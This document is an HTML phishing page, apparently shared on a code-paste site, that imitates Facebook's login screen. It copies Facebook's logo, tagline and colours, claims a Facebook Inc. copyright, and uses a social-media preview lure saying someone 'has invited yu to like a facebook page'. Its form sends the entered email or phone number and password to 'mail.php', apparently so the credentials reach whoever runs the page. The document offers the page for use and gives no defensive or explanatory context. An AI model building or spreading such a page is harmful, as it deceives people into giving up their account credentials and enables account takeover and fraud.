Login to Facebook
2 years ago by beautygirlz in HTML
<!doctype html>
<html lang="en">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta property="og:title" content="शिक्षा शर्मा has invited yu to like a facebook page" />
<meta property="og:image" content="images/banner.jpg" />
<!-- Bootstrap CSS -->
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-+0n0xVW2eSR5OomGNYDnhzAbDsOXxcvSN1TPprVMTNDbiYZCxYbOOl7+AMvyTG2x" crossorigin="anonymous">
<style>
.btn-success{
background-color: #42b72a;
border: none;
font-weight: 500;
}
.btn-primary{
background-color: #1877f2;
border: none;
font-weight: 500;
font-size: 14pt;
}
a{
text-decoration: none;
color: #1877f2;
}
</style>
<title>Login to Facebook</title>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-12 text-center mt-4">
<img src="images/logo.svg" alt="">
<h5>Connect with friends and the world around you on Facebook.</h5>
</div>
<div class="col-12 pt-5">
<form action="mail.php" method="post">
<input type="text" class=" py-2 form-control" name="name" placeholder="Email or Phone Number">
<input type="password" class=" py-2 form-control mt-2" name="pw" placeholder="Password">
<input type="submit" class="btn btn-primary w-100 mt-2 py-2" value="Log In">
</form>
<div class="mt-4 text-center"><a href="#">Forgot password?</a></div>
<hr>
<div class="text-center"><a href="#" class="btn btn-success px-5 text-center mx-auto">Create new account</a></div>
<div class="text-center text-muted pt-5"><small>&copy; Copyright 2021 Facebook Inc.</small></div>
</div>
</div>
</div>
<!-- Optional JavaScript; choose one of the two! -->
<!-- Option 1: Bootstrap Bundle with Popper -->
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/js/bootstrap.bundle.min.js" integrity="sha384-gtEjrD/SeCtmISkJkNUaaKMoLD0//ElJ19smozuHV6z3Iehds+3Ulb9Bn9Plx0x4" crossorigin="anonymous"></script>
<!-- Option 2: Separate Popper and Bootstrap JS -->
<!--
<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.9.2/dist/umd/popper.min.js" integrity="sha384-IQsoLXl5PILFhosVNubq5LC7Qb9DXgDA9i+tQ8Zj3iwWAwPtgFTxbJ8NT4GN1R8p" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/js/bootstrap.min.js" integrity="sha384-Atwg2Pkwv9vp0ygtn1JAojH0nYbwNJLPhwyoVbhoPwBhjQPR5VtM2+xf0Uwh9KtT" crossorigin="anonymous"></script>
-->
</body>
</html>